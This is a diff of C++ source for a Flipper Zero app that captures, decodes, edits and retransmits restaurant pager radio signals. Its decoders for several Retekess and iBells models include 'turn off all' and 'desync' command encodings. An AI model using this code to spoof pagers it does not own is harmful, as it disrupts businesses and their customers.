pagerHandler(new ReceivedPagerData(PagerGetter(i), i, true));
}
if(!knownStationsLoaded) {
knownStationsSize = count;
}
nextPagerIndex = count;
pagersArraySize = count;
knownStationsLoaded = true;
}
PagerDataGetter PagerGetter(size_t index) {
return [this, index]() { return &pagers[index]; };
}
String* GetName(StoredPagerData* pager) {
uint32_t stationId = buildKnownStationWithoutName(pager).toInt();
for(size_t i = 0; i < knownStationsSize; i++) {
if(knownStations[i].toInt() == stationId) {
return knownStations[i].name;
}
}
return NULL;
}
bool IsKnown(StoredPagerData* pager) {
uint32_t stationId = buildKnownStationWithoutName(pager).toInt();
for(size_t i = 0; i < knownStationsSize; i++) {
if(knownStations[i].toInt() == stationId) {
return true;
}
}
return false;
}
ReceivedPagerData* Receive(SubGhzReceivedData* data) {
PagerProtocol* protocol = GetProtocolByName(data->GetProtocolName());
if(protocol == NULL) {
return NULL;
}
int index = -1;
uint32_t dataHash = data->GetHash();
for(size_t i = 0; i < nextPagerIndex; i++) {
if(pagers[i].data == dataHash && pagers[i].protocol == protocol->id) {
if(pagers[i].repeats < MAX_REPEATS) {
pagers[i].repeats++;
} else {
return NULL; // no need to modify element any more
}
index = i;
break;
}
}
bool isNew = index < 0;
if(isNew) {
if(data->GetFrequency() != lastFrequency) {
lastFrequencyIndex = FrequencyManager::GetInstance()->GetFrequencyIndex(data->GetFrequency());
lastFrequency = data->GetFrequency();
}
StoredPagerData storedData = StoredPagerData();
storedData.data = dataHash;
storedData.protocol = protocol->id;
storedData.repeats = 1;
storedData.te = data->GetTE();
storedData.frequency = lastFrequencyIndex;
storedData.decoder = getDecoder(&storedData)->id;
storedData.edited = false;
if(config->SavedStrategy == HIDE && IsKnown(&storedData)) {
return NULL;
}
if(config->AutosaveFoundSignals) {
AppFileSysytem().AutoSave(&storedData, decoders[storedData.decoder], protocol, lastFrequency);
}
index = nextPagerIndex;
addPager(storedData);
}
return new ReceivedPagerData(PagerGetter(index), index, isNew);
}
~PagerReceiver() {
for(PagerProtocol* protocol : protocols) {
delete protocol;
}
for(PagerDecoder* decoder : decoders) {
delete decoder;
}
delete[] pagers;
unloadKnownStations();
}
};

View File

@@ -0,0 +1,100 @@
#pragma once
#include "ProtocolAndDecoderProvider.hpp"
#include "lib/String.hpp"
#include "lib/file/FileManager.hpp"
#include "lib/file/FlipperFile.hpp"
#include "data/StoredPagerData.hpp"
#include "lib/hardware/subghz/FrequencyManager.hpp"
#include "protocol/PagerProtocol.hpp"
#include "decoder/PagerDecoder.hpp"
#define KEY_PAGER_STATION_NAME "StationName"
#define KEY_PAGER_FREQUENCY "Frequency"
#define KEY_PAGER_PROTOCOL "Protocol"
#define KEY_PAGER_DECODER "Decoder"
#define KEY_PAGER_DATA "Data"
#define KEY_PAGER_TE "TE"
#define NAME_MIN_LENGTH 2
#define NAME_MAX_LENGTH 20
class PagerSerializer {
private:
public:
String* GetFilename(StoredPagerData* pager) {
return new String("%06X.fff", pager->data);
}
void SavePagerData(
FileManager* fileManager,
const char* dir,
const char* stationName,
StoredPagerData* pager,
PagerDecoder* decoder,
PagerProtocol* protocol,
uint32_t frequency
) {
String* fileName = GetFilename(pager);
FlipperFile* stationFile = fileManager->OpenWrite(dir, fileName->cstr());
stationFile->WriteString(KEY_PAGER_STATION_NAME, stationName);
stationFile->WriteUInt32(KEY_PAGER_FREQUENCY, frequency);
stationFile->WriteString(KEY_PAGER_PROTOCOL, protocol->GetSystemName());
stationFile->WriteString(KEY_PAGER_DECODER, decoder->GetShortName());
stationFile->WriteUInt32(KEY_PAGER_TE, pager->te);
stationFile->WriteHex(KEY_PAGER_DATA, pager->data);
delete stationFile;
delete fileName;
}
String* LoadOnlyStationName(FileManager* fileManager, const char* dir, StoredPagerData* pager) {
String* filename = GetFilename(pager);
FlipperFile* stationFile = fileManager->OpenRead(dir, filename->cstr());
delete filename;
String* stationName = NULL;
if(stationFile != NULL) {
stationName = new String();
stationFile->ReadString(KEY_PAGER_STATION_NAME, stationName);
delete stationFile;
}
return stationName;
}
StoredPagerData LoadPagerData(
FileManager* fileManager,
String* stationName,
const char* dir,
const char* fileName,
ProtocolAndDecoderProvider* pdProvider
) {
FlipperFile* stationFile = fileManager->OpenRead(dir, fileName);
uint32_t te = 0;
uint64_t hex = 0;
uint32_t frequency = 0;
String protocolName;
String decoderName;
stationFile->ReadString(KEY_PAGER_STATION_NAME, stationName);
stationFile->ReadUInt32(KEY_PAGER_FREQUENCY, &frequency);
stationFile->ReadString(KEY_PAGER_PROTOCOL, &protocolName);
stationFile->ReadString(KEY_PAGER_DECODER, &decoderName);
stationFile->ReadUInt32(KEY_PAGER_TE, &te);
stationFile->ReadHex(KEY_PAGER_DATA, &hex);
delete stationFile;
StoredPagerData pager;
pager.data = hex;
pager.te = te;
pager.edited = false;
pager.frequency = FrequencyManager::GetInstance()->GetFrequencyIndex(frequency);
pager.protocol = pdProvider->GetProtocolByName(protocolName.cstr())->id;
pager.decoder = pdProvider->GetDecoderByName(decoderName.cstr())->id;
return pager;
}
};

View File

@@ -0,0 +1,12 @@
#pragma once
#include "protocol/PagerProtocol.hpp"
#include "decoder/PagerDecoder.hpp"
class ProtocolAndDecoderProvider {
public:
virtual PagerProtocol* GetProtocolByName(const char* name) = 0;
virtual PagerDecoder* GetDecoderByName(const char* name) = 0;
virtual ~ProtocolAndDecoderProvider() {
}
};

View File

@@ -0,0 +1,9 @@
#pragma once
enum SavedStationStrategy {
IGNORE, // don't check if station is saved, show as unknown
SHOW_NAME, // show station name instead of hex and station number
HIDE, // hide all station signals from the search
SavedStationStrategyValuesCount,
};

View File

@@ -0,0 +1,28 @@
#pragma once
#include "lib/String.hpp"
#include <cstdint>
struct KnownStationData {
uint8_t frequency : 8;
uint8_t protocol : 2;
uint8_t decoder : 4;
uint8_t unused : 2; // align
uint16_t station : 16;
String* name;
public:
uint32_t toInt();
};
union KnownStationDataUnion {
KnownStationData stationData;
uint32_t intValue;
};
uint32_t KnownStationData::toInt() {
KnownStationDataUnion u;
u.stationData = *this;
u.stationData.unused = 0;
return u.intValue;
}

View File

@@ -0,0 +1,9 @@
#pragma once
#include "StoredPagerData.hpp"
#include "lib/String.hpp"
struct NamedPagerData {
StoredPagerData storedData;
String* name;
};

View File

@@ -0,0 +1,30 @@
#pragma once
#include <cstdint>
#include "StoredPagerData.hpp"
class ReceivedPagerData {
private:
PagerDataGetter getStoredData;
uint32_t index;
bool isNew;
public:
ReceivedPagerData(PagerDataGetter storedDataGetter, uint32_t index, bool isNew) {
this->getStoredData = storedDataGetter;
this->index = index;
this->isNew = isNew;
}
bool IsNew() {
return isNew;
}
uint32_t GetIndex() {
return index;
}
StoredPagerData* GetData() {
return getStoredData();
}
};

View File

@@ -0,0 +1,33 @@
#pragma once
#include <cstdint>
#include <functional>
using namespace std;
struct StoredPagerData {
// first 4-byte
uint32_t data : 25;
uint8_t repeats : 7;
// second 4-byte
// byte 1
uint8_t frequency : 8;
// byte 2
uint8_t decoder : 4; // max 16 decoders, enough for now
uint8_t protocol : 2; // max 4 protocols (only )
bool edited : 1;
uint8_t : 0;
// byte 3-4
uint16_t te : 11; // 2048 values should be enough
// 5 bits still unused
};
// StoredPagerData is short-living because it's stored as array of stack allocated objects in PagerReceiver class.
// If array size changes, it reallocates all the objects on the new addresses in memory. We could store pointers in array instead of stack objects,
// but it would take more memory which is not acceptable (sizeof(StoredPagerData) + sizeof(StoredPagerData*)) vs sizeof(StoredPagerData).
// That's why we pass the getter instead of object itself, to make sure we always have the right pointer to the StoredPagerData structure.
typedef function<StoredPagerData*()> PagerDataGetter;

View File

@@ -0,0 +1,81 @@
#pragma once
#include "PagerDecoder.hpp"
#define T111_ACTION_RING 0
// Retekess T111 / L8R
// L8R — (L)ast (8) bits (R)eversed order (for pager number)
// seems to be Retekess T111 encoding, but cannot check it due to lack of information
// So I decided to keep it's name as L8R
class L8RDecoder : public PagerDecoder {
private:
const uint32_t stationMask = 0b111111111111100000000000; // leading 13 bits (of 24) are station (any maybe more)
const uint32_t actionMask = 0b11100000000; // next 3 bits are action (possibly, just my guess, may be they are also station)
const uint32_t pagerMask = 0b11111111; // and the last 8 bits seem to be pager number
const uint8_t stationBitCount = 13;
const uint8_t stationOffset = 11;
const uint8_t actionBitCount = 3;
const uint8_t actionOffset = 8;
const uint8_t pagerBitCount = 8;
public:
const char* GetShortName() {
return "L8R";
}
uint16_t GetStation(uint32_t data) {
uint32_t stationReversed = (data & stationMask) >> stationOffset;
return reverseBits(stationReversed, stationBitCount);
}
uint16_t GetPager(uint32_t data) {
uint32_t pagerReversed = data & pagerMask;
return reverseBits(pagerReversed, pagerBitCount);
}
uint8_t GetActionValue(uint32_t data) {
uint32_t actionReversed = (data & actionMask) >> actionOffset;
return reverseBits(actionReversed, actionBitCount);
}
PagerAction GetAction(uint32_t data) {
switch(GetActionValue(data)) {
case T111_ACTION_RING:
return RING;
default:
return UNKNOWN;
}
}
uint32_t SetPager(uint32_t data, uint16_t pagerNum) {
return (data & ~pagerMask) | reverseBits(pagerNum, pagerBitCount);
}
uint32_t SetActionValue(uint32_t data, uint8_t actionValue) {
uint32_t actionCleared = data & ~actionMask;
return actionCleared | (reverseBits(actionValue, actionBitCount) << actionOffset);
}
uint32_t SetAction(uint32_t data, PagerAction action) {
switch(action) {
case RING:
return SetActionValue(data, T111_ACTION_RING);
default:
return data;
}
}
bool IsSupported(PagerAction) {
return false;
}
uint8_t GetActionsCount() {
return 8;
}
};

View File

@@ -0,0 +1,61 @@
#pragma once
#include "core/core_defines.h"
#include "PagerDecoder.hpp"
// iBells ZJ-68 / L8S
// L8S — (L)ast (8) bits (S)traight order (non-reversed) (for pager number)
class L8SDecoder : public PagerDecoder {
private:
const uint32_t stationMask = 0b111111111111100000000000; // leading 13 bits (of 24) are station (let it be)
const uint32_t actionMask = 0b11100000000; // next 3 bits are action (possibly, just my guess, may be they are also station)
const uint32_t pagerMask = 0b11111111; // and the last 8 bits should be enough for pager number
const uint8_t stationOffset = 11;
const uint8_t actionOffset = 8;
public:
const char* GetShortName() {
return "L8S";
}
uint16_t GetStation(uint32_t data) {
return (data & stationMask) >> stationOffset;
}
uint16_t GetPager(uint32_t data) {
return data & pagerMask;
}
uint8_t GetActionValue(uint32_t data) {
return (data & actionMask) >> actionOffset;
}
PagerAction GetAction(uint32_t data) {
UNUSED(data);
return UNKNOWN;
}
uint32_t SetPager(uint32_t data, uint16_t pagerNum) {
return (data & ~pagerMask) | pagerNum;
}
uint32_t SetActionValue(uint32_t data, uint8_t actionValue) {
uint32_t actionCleared = data & ~actionMask;
return actionCleared | (actionValue << actionOffset);
}
uint32_t SetAction(uint32_t data, PagerAction action) {
UNUSED(action);
return data;
}
bool IsSupported(PagerAction) {
return false;
}
uint8_t GetActionsCount() {
return 8;
}
};

View File

@@ -0,0 +1,52 @@
#pragma once
#include <cstdint>
#include "../PagerAction.hpp"
using namespace std;
class PagerDecoder {
public:
uint8_t id;
virtual const char* GetShortName() = 0;
virtual uint16_t GetStation(uint32_t data) = 0;
virtual uint16_t GetPager(uint32_t data) = 0;
virtual uint32_t SetPager(uint32_t data, uint16_t pagerNum) = 0;
virtual uint8_t GetActionValue(uint32_t data) = 0;
virtual PagerAction GetAction(uint32_t data) = 0;
virtual uint32_t SetAction(uint32_t data, PagerAction action) = 0;
virtual uint32_t SetActionValue(uint32_t data, uint8_t action) = 0;
virtual bool IsSupported(PagerAction action) = 0;
virtual uint8_t GetActionsCount() = 0;
uint8_t GetSupportedActionsCount() {
uint8_t count = 0;
for(uint8_t i = 0; i < PagerActionCount; i++) {
if(IsSupported(static_cast<enum PagerAction>(i))) {
count++;
}
}
return count;
}
virtual ~PagerDecoder() {
}
protected:
uint32_t reverseBits(uint32_t number, int count) {
uint32_t rev = 0;
while(count-- > 0) {
rev <<= 1;
if((number & 1) == 1) {
rev ^= 1;
}
number >>= 1;
}
return rev;
}
};

View File

@@ -0,0 +1,87 @@
#pragma once
#include "PagerDecoder.hpp"
#define TD157_ACTION_RING 0b0010
#define TD157_ACTION_TURN_OFF_ALL 0b1111
#define TD157_PAGER_TURN_OFF_ALL 999
// Retekess TD157
class Td157Decoder : public PagerDecoder {
private:
const uint32_t stationMask = 0b111111111100000000000000; // leading 10 bits (of 24) are station
const uint32_t pagerMask = 0b11111111110000; // next 10 bits are pager
const uint32_t actionMask = 0b1111; // and the last 4 bits is action
const uint8_t stationOffset = 14;
const uint8_t pagerOffset = 4;
public:
const char* GetShortName() {
return "TD157";
}
uint16_t GetStation(uint32_t data) {
uint32_t station = (data & stationMask) >> stationOffset;
return (uint16_t)station;
}
uint16_t GetPager(uint32_t data) {
uint32_t pager = (data & pagerMask) >> pagerOffset;
return (uint16_t)pager;
}
uint32_t SetPager(uint32_t data, uint16_t pagerNum) {
uint32_t pagerClearedData = data & ~pagerMask;
return pagerClearedData | (pagerNum << pagerOffset);
}
uint8_t GetActionValue(uint32_t data) {
return data & actionMask;
}
PagerAction GetAction(uint32_t data) {
switch(GetActionValue(data)) {
case TD157_ACTION_RING:
return RING;
case TD157_ACTION_TURN_OFF_ALL:
if(GetPager(data) == TD157_PAGER_TURN_OFF_ALL) {
return TURN_OFF_ALL;
}
return UNKNOWN;
default:
return UNKNOWN;
}
}
uint32_t SetAction(uint32_t data, PagerAction action) {
switch(action) {
case RING:
return SetActionValue(data, TD157_ACTION_RING);
case TURN_OFF_ALL:
return SetActionValue(SetPager(data, TD157_PAGER_TURN_OFF_ALL), TD157_ACTION_TURN_OFF_ALL);
default:
return data;
}
}
virtual uint32_t SetActionValue(uint32_t data, uint8_t action) {
return (data & ~actionMask) | action;
}
bool IsSupported(PagerAction action) {
switch(action) {
case RING:
case TURN_OFF_ALL:
return true;
default:
return false;
}
return false;
}
uint8_t GetActionsCount() {
return actionMask + 1;
}
};

View File

@@ -0,0 +1,98 @@
#pragma once
#include "PagerDecoder.hpp"
#define TD165_ACTION_RING 0
#define TD165_ACTION_MUTE 1
#define TD165_PAGER_TURN_OFF_ALL 1005
// Retekess TD165/T119
class Td165Decoder : public PagerDecoder {
private:
const uint32_t stationMask = 0b111111111111100000000000; // leading 13 bits (of 24) are station
const uint32_t pagerMask = 0b11111111110; // next 10 bits are pager
const uint32_t actionMask = 0b1; // and the last 1 bit is action
const uint8_t stationBitCount = 13;
const uint8_t stationOffset = 11;
const uint8_t pagerBitCount = 10;
const uint8_t pagerOffset = 1;
public:
const char* GetShortName() {
return "TD165";
}
uint16_t GetStation(uint32_t data) {
uint32_t stationReversed = (data & stationMask) >> stationOffset;
return reverseBits(stationReversed, stationBitCount);
}
uint16_t GetPager(uint32_t data) {
uint32_t pagerReversed = (data & pagerMask) >> pagerOffset;
return reverseBits(pagerReversed, pagerBitCount);
}
uint8_t GetActionValue(uint32_t data) {
return data & actionMask;
}
PagerAction GetAction(uint32_t data) {
switch(GetActionValue(data)) {
case TD165_ACTION_RING:
if(GetPager(data) == TD165_PAGER_TURN_OFF_ALL) {
return TURN_OFF_ALL;
}
return RING;
case TD165_ACTION_MUTE:
return MUTE;
default:
return UNKNOWN;
}
}
uint32_t SetPager(uint32_t data, uint16_t pagerNum) {
uint32_t pagerCleared = data & ~pagerMask;
return pagerCleared | (reverseBits(pagerNum, pagerBitCount) << pagerOffset);
}
uint32_t SetActionValue(uint32_t data, uint8_t actionValue) {
return (data & ~actionMask) | actionValue;
}
uint32_t SetAction(uint32_t data, PagerAction action) {
switch(action) {
case RING:
return SetActionValue(data, TD165_ACTION_RING);
case MUTE:
return SetActionValue(data, TD165_ACTION_MUTE);
case TURN_OFF_ALL:
return SetActionValue(SetPager(data, TD165_PAGER_TURN_OFF_ALL), TD165_ACTION_RING);
default:
return data;
}
}
bool IsSupported(PagerAction action) {
switch(action) {
case RING:
case MUTE:
case TURN_OFF_ALL:
return true;
default:
return false;
}
return false;
}
uint8_t GetActionsCount() {
return actionMask + 1;
}
};

View File

@@ -0,0 +1,97 @@
#pragma once
#include "PagerDecoder.hpp"
#define TD174_ACTION_RING 0
#define TD174_ACTION_DESYNC 3
#define TD174_PAGER_DESYNC 237
// Retekess TD174
class Td174Decoder : public PagerDecoder {
private:
const uint32_t stationMask = 0b111111111111100000000000; // leading 13 bits (of 24) are station
const uint32_t actionMask = 0b11000000000; // next 2 bits are action
const uint32_t pagerMask = 0b111111111; // and the last 9 bits is pager
const uint8_t stationBitCount = 13;
const uint8_t stationOffset = 11;
const uint8_t actionBitCount = 2;
const uint8_t actionOffset = 9;
const uint8_t pagerBitCount = 9;
public:
const char* GetShortName() {
return "TD174";
}
uint16_t GetStation(uint32_t data) {
uint32_t stationReversed = (data & stationMask) >> stationOffset;
return reverseBits(stationReversed, stationBitCount);
}
uint16_t GetPager(uint32_t data) {
uint32_t pagerReversed = data & pagerMask;
return reverseBits(pagerReversed, pagerBitCount);
}
uint8_t GetActionValue(uint32_t data) {
uint32_t actionReversed = (data & actionMask) >> actionOffset;
return reverseBits(actionReversed, actionBitCount);
}
PagerAction GetAction(uint32_t data) {
switch(GetActionValue(data)) {
case TD174_ACTION_RING:
return RING;
case TD174_ACTION_DESYNC:
if(GetPager(data) == TD174_PAGER_DESYNC) {
return DESYNC;
}
return UNKNOWN;
default:
return UNKNOWN;
}
}
uint32_t SetPager(uint32_t data, uint16_t pagerNum) {
return (data & ~pagerMask) | reverseBits(pagerNum, pagerBitCount);
}
uint32_t SetActionValue(uint32_t data, uint8_t actionValue) {
uint32_t actionCleared = data & ~actionMask;
return actionCleared | (reverseBits(actionValue, actionBitCount) << actionOffset);
}
uint32_t SetAction(uint32_t data, PagerAction action) {
switch(action) {
case RING:
return SetActionValue(data, TD174_ACTION_RING);
case DESYNC:
return SetActionValue(SetPager(data, TD174_PAGER_DESYNC), TD174_ACTION_DESYNC);
default:
return data;
}
}
bool IsSupported(PagerAction action) {
switch(action) {
case RING:
case DESYNC:
return true;
default:
return false;
}
return false;
}
uint8_t GetActionsCount() {
return 4;
}
};

View File

@@ -0,0 +1,16 @@
#pragma once
#include <cstdint>
#include "lib/hardware/subghz/SubGhzPayload.hpp"
class PagerProtocol {
public:
uint8_t id;
virtual const char* GetSystemName() = 0;
virtual int GetFallbackTE() = 0;
virtual int GetMaxTE() = 0;
virtual SubGhzPayload* CreatePayload(uint64_t data, uint32_t te, uint32_t repeats) = 0;
virtual ~PagerProtocol() {
}
};

View File

@@ -0,0 +1,32 @@
#pragma once
#include <stream/stream.h>
#include "PagerProtocol.hpp"
class PrincetonProtocol : public PagerProtocol {
public:
const char* GetSystemName() {
return "Princeton";
}
int GetFallbackTE() {
return 212;
}
int GetMaxTE() {
return 1200;
}
SubGhzPayload* CreatePayload(uint64_t data, uint32_t te, uint32_t repeats) {
SubGhzPayload* payload = new SubGhzPayload(GetSystemName());
payload->SetBits(24);
payload->SetKey(data);
payload->SetTE(te);
// somewhy repeats are always 10 even if we set it, so use here "software repeats" instead
payload->SetSoftwareRepeats(ceil(repeats / 10.0));
payload->SetRepeat(10); // just in case they'll fix it
return payload;
}
};

View File

@@ -0,0 +1,26 @@
#pragma once
#include "PagerProtocol.hpp"
class Smc5326Protocol : public PagerProtocol {
const char* GetSystemName() {
return "SMC5326";
}
int GetFallbackTE() {
return 326;
}
int GetMaxTE() {
return 900;
}
SubGhzPayload* CreatePayload(uint64_t data, uint32_t te, uint32_t repeats) {
SubGhzPayload* payload = new SubGhzPayload(GetSystemName());
payload->SetBits(25);
payload->SetKey(data);
payload->SetTE(te);
payload->SetRepeat(repeats);
return payload;
}
};

View File

@@ -0,0 +1,33 @@
#pragma once
#include "lib/String.hpp"
#include "lib/ui/view/UiView.hpp"
#include "lib/ui/view/ProgressbarPopupUiView.hpp"
class BatchTransmissionScreen {
private:
ProgressbarPopupUiView* popup;
String statusStr;
public:
BatchTransmissionScreen(int pagersTotal) {
popup = new ProgressbarPopupUiView("Transmitting...");
SetProgress(0, pagersTotal);
popup->SetOnDestroyHandler(HANDLER(&BatchTransmissionScreen::destroy));
}
void SetProgress(int pagerNum, int pagersTotal) {
float progressValue = (float)pagerNum / pagersTotal;
popup->SetProgress(statusStr.format("Pager %d / %d", pagerNum, pagersTotal), progressValue);
}
private:
void destroy() {
delete this;
}
public:
UiView* GetView() {
return popup;
}
};

View File

@@ -0,0 +1,313 @@
#pragma once
#include "SelectCategoryScreen.hpp"
#include "lib/HandlerContext.hpp"
#include "lib/String.hpp"
#include "app/pager/PagerReceiver.hpp"
#include "lib/hardware/subghz/SubGhzModule.hpp"
#include "lib/ui/view/UiView.hpp"
#include "lib/ui/view/VariableItemListUiView.hpp"
#include "lib/ui/view/TextInputUiView.hpp"
#include "lib/ui/view/DialogUiView.hpp"
#include "lib/FlipperDolphin.hpp"
#include "lib/ui/UiManager.hpp"
#include "app/AppFileSystem.hpp"
#include "app/pager/PagerSerializer.hpp"
#define TE_DIV 10
class EditPagerScreen {
private:
AppConfig* config;
SubGhzModule* subghz;
PagerReceiver* receiver;
PagerDataGetter getPager;
VariableItemListUiView* varItemList;
UiVariableItem* encodingItem = NULL;
UiVariableItem* stationItem = NULL;
UiVariableItem* pagerItem = NULL;
UiVariableItem* actionItem = NULL;
UiVariableItem* hexItem = NULL;
UiVariableItem* protocolItem = NULL;
UiVariableItem* frequencyItem = NULL;
UiVariableItem* teItem = NULL;
UiVariableItem* repeatsItem = NULL;
UiVariableItem* saveAsItem = NULL;
UiVariableItem* deleteItem = NULL;
String stationStr;
String pagerStr;
String actionStr;
String hexStr;
String repeatsStr;
String frequencyStr;
String teStr;
int32_t saveAsItemIndex = -1;
int32_t deleteItemIndex = -1;
bool isFromFile;
const char* saveAsName = NULL;
public:
EditPagerScreen(
AppConfig* config,
SubGhzModule* subghz,
PagerReceiver* receiver,
PagerDataGetter pagerGetter,
bool isFromFile
) {
this->config = config;
this->subghz = subghz;
this->receiver = receiver;
this->getPager = pagerGetter;
this->isFromFile = isFromFile;
StoredPagerData* pager = getPager();
PagerDecoder* decoder = receiver->decoders[pager->decoder];
PagerProtocol* protocol = receiver->protocols[pager->protocol];
uint32_t frequency = FrequencyManager::GetInstance()->GetFrequency(pager->frequency);
varItemList = new VariableItemListUiView();
varItemList->SetOnDestroyHandler(HANDLER(&EditPagerScreen::destroy));
varItemList->SetEnterPressHandler(HANDLER_1ARG(&EditPagerScreen::enterPressed));
varItemList->AddItem(
encodingItem = new UiVariableItem(
"Encoding", pager->decoder, receiver->decodersCount, HANDLER_1ARG(&EditPagerScreen::encodingValueChanged)
)
);
varItemList->AddItem(stationItem = new UiVariableItem("Station", HANDLER_1ARG(&EditPagerScreen::stationValueChanged)));
varItemList->AddItem(pagerItem = new UiVariableItem("Pager", HANDLER_1ARG(&EditPagerScreen::pagerValueChanged)));
updatePagerIsEditable();
varItemList->AddItem(
actionItem = new UiVariableItem(
"Action",
decoder->GetActionValue(pager->data),
decoder->GetActionsCount(),
HANDLER_1ARG(&EditPagerScreen::actionValueChanged)
)
);
varItemList->AddItem(hexItem = new UiVariableItem("HEX value", HANDLER_1ARG(&EditPagerScreen::hexValueChanged)));
varItemList->AddItem(protocolItem = new UiVariableItem("Protocol", protocol->GetSystemName()));
varItemList->AddItem(
frequencyItem = new UiVariableItem(
"Frequency", frequencyStr.format("%lu.%02lu", frequency / 1000000, (frequency % 1000000) / 10000)
)
);
varItemList->AddItem(
teItem = new UiVariableItem(
"TE", pager->te / TE_DIV, protocol->GetMaxTE() / TE_DIV, HANDLER_1ARG(&EditPagerScreen::teValueChanged)
)
);
varItemList->AddItem(
repeatsItem = new UiVariableItem(
"Signal Repeats", repeatsStr.format(pager->repeats == MAX_REPEATS ? "%d+" : "%d", pager->repeats)
)
);
if(canSave()) {
const char* saveAsItemName = isFromFile ? "Save / Rename" : "Save signal as...";
saveAsItemIndex = varItemList->AddItem(saveAsItem = new UiVariableItem(saveAsItemName, ""));
}
if(canDelete()) {
deleteItemIndex = varItemList->AddItem(deleteItem = new UiVariableItem("Delete station", ""));
}
}
private:
bool canSave() {
return !receiver->IsKnown(getPager()) || this->isFromFile;
}
bool canDelete() {
return isFromFile;
}
String* currentStationName() {
return receiver->GetName(getPager());
}
void updatePagerIsEditable() {
StoredPagerData* pager = getPager();
int pagerNum = receiver->decoders[pager->decoder]->GetPager(pager->data);
if(pagerNum < UINT8_MAX) {
pagerItem->SetSelectedItem(pagerNum, UINT8_MAX);
} else {
pagerItem->SetSelectedItem(0, 1);
}
}
void enterPressed(int32_t index) {
if(index == saveAsItemIndex) {
saveAs();
} else if(index == deleteItemIndex) {
DialogUiView* removeConfirmation = new DialogUiView("Really delete?", currentStationName()->cstr());
removeConfirmation->AddLeftButton("Nope");
removeConfirmation->AddRightButton("Yup");
removeConfirmation->SetResultHandler(HANDLER_1ARG(&EditPagerScreen::confirmDelete));
UiManager::GetInstance()->PushView(removeConfirmation);
} else {
transmitMessage();
}
}
void confirmDelete(DialogExResult result) {
if(result == DialogExResultRight) {
AppFileSysytem().DeletePager(receiver->GetCurrentUserCategory(), getPager());
receiver->ReloadKnownStations();
UiManager::GetInstance()->PopView(false);
}
}
void transmitMessage() {
StoredPagerData* pager = getPager();
PagerProtocol* protocol = receiver->protocols[pager->protocol];
uint32_t frequency = FrequencyManager::GetInstance()->GetFrequency(pager->frequency);
subghz->Transmit(protocol->CreatePayload(pager->data, pager->te, config->SignalRepeats), frequency);
FlipperDolphin::Deed(DolphinDeedSubGhzSend);
}
void saveAs() {
TextInputUiView* nameInputView = new TextInputUiView("Enter station name", NAME_MIN_LENGTH, NAME_MAX_LENGTH);
String* name = currentStationName();
if(name != NULL) {
nameInputView->SetDefaultText(name);
}
nameInputView->SetResultHandler(HANDLER_1ARG(&EditPagerScreen::saveAsHandler));
UiManager::GetInstance()->PushView(nameInputView);
}
void saveAsHandler(const char* name) {
saveAsName = name;
UiManager::GetInstance()->ShowLoading();
UiManager::GetInstance()->PushView(
(new SelectCategoryScreen(true, User, HANDLER_2ARG(&EditPagerScreen::categorySelected)))->GetView()
);
}
void categorySelected(CategoryType, const char* category) {
StoredPagerData* pager = getPager();
PagerDecoder* decoder = receiver->decoders[pager->decoder];
PagerProtocol* protocol = receiver->protocols[pager->protocol];
uint32_t frequency = FrequencyManager::GetInstance()->GetFrequency(pager->frequency);
AppFileSysytem().SaveToUserCategory(category, saveAsName, pager, decoder, protocol, frequency);
FlipperDolphin::Deed(DolphinDeedSubGhzSave);
receiver->ReloadKnownStations();
for(int i = 0; i < 3; i++) {
UiManager::GetInstance()->PopView(false);
}
}
const char* encodingValueChanged(uint8_t index) {
StoredPagerData* pager = getPager();
PagerDecoder* decoder = receiver->decoders[index];
pager->decoder = index;
if(stationItem != NULL) {
stationItem->Refresh();
}
if(pagerItem != NULL) {
updatePagerIsEditable();
pagerItem->Refresh();
}
if(actionItem != NULL) {
actionItem->SetSelectedItem(decoder->GetActionValue(pager->data), decoder->GetActionsCount());
}
return receiver->decoders[pager->decoder]->GetShortName();
}
const char* stationValueChanged(uint8_t) {
StoredPagerData* pager = getPager();
return stationStr.fromInt(receiver->decoders[pager->decoder]->GetStation(pager->data));
}
const char* pagerValueChanged(uint8_t newPager) {
StoredPagerData* pager = getPager();
PagerDecoder* decoder = receiver->decoders[pager->decoder];
if(pagerItem->Editable() && newPager != decoder->GetPager(pager->data)) {
pager->data = decoder->SetPager(pager->data, newPager);
pager->edited = true;
if(hexItem != NULL) {
hexItem->Refresh();
}
}
return pagerStr.fromInt(decoder->GetPager(pager->data));
}
const char* actionValueChanged(uint8_t value) {
StoredPagerData* pager = getPager();
PagerDecoder* decoder = receiver->decoders[pager->decoder];
if(decoder->GetActionValue(pager->data) != value) {
pager->data = decoder->SetActionValue(pager->data, value);
pager->edited = true;
}
if(hexItem != NULL) {
hexItem->Refresh();
}
uint8_t actionValue = decoder->GetActionValue(pager->data);
PagerAction action = decoder->GetAction(pager->data);
const char* actionDesc = PagerActions::GetDescription(action);
return actionStr.format("%d (%s)", actionValue, actionDesc);
}
const char* hexValueChanged(uint8_t) {
StoredPagerData* pager = getPager();
return hexStr.format("%06X", (unsigned int)pager->data);
}
const char* teValueChanged(uint8_t newTeIndex) {
StoredPagerData* pager = getPager();
if(newTeIndex != pager->te / TE_DIV) {
int teDiff = pager->te % TE_DIV;
int newTe = newTeIndex * TE_DIV + teDiff;
pager->te = newTe;
pager->edited = true;
}
return teStr.format("%d", pager->te);
}
void destroy() {
delete encodingItem;
delete stationItem;
delete pagerItem;
delete actionItem;
delete hexItem;
delete frequencyItem;
delete teItem;
delete protocolItem;
delete repeatsItem;
if(saveAsItem != NULL) {
delete saveAsItem;
}
if(deleteItem != NULL) {
delete deleteItem;
}
delete this;
}
public:
UiView* GetView() {
return varItemList;
}
};

View File

@@ -0,0 +1,76 @@
#pragma once
#include "app/AppConfig.hpp"
#include "lib/ui/view/UiView.hpp"
#include "lib/ui/view/SubMenuUiView.hpp"
#include "lib/ui/UiManager.hpp"
#include "app/AppNotifications.hpp"
#include "SelectCategoryScreen.hpp"
#include "ScanStationsScreen.hpp"
class MainMenuScreen {
private:
AppConfig* config;
SubMenuUiView* menuView;
public:
MainMenuScreen(AppConfig* config) {
this->config = config;
menuView = new SubMenuUiView("Chief Cooker");
menuView->AddItem("Scan for station signals", HANDLER_1ARG(&MainMenuScreen::scanStationsMenuPressed));
menuView->AddItem("Saved stations database", HANDLER_1ARG(&MainMenuScreen::stationDatabasePressed));
menuView->AddItem("About / Manual", HANDLER_1ARG(&MainMenuScreen::aboutPressed));
menuView->SetOnDestroyHandler(HANDLER(&MainMenuScreen::destroy));
}
UiView* GetView() {
return menuView;
}
private:
void scanStationsMenuPressed(uint32_t) {
UiManager::GetInstance()->ShowLoading();
UiManager::GetInstance()->PushView((new ScanStationsScreen(config))->GetView());
}
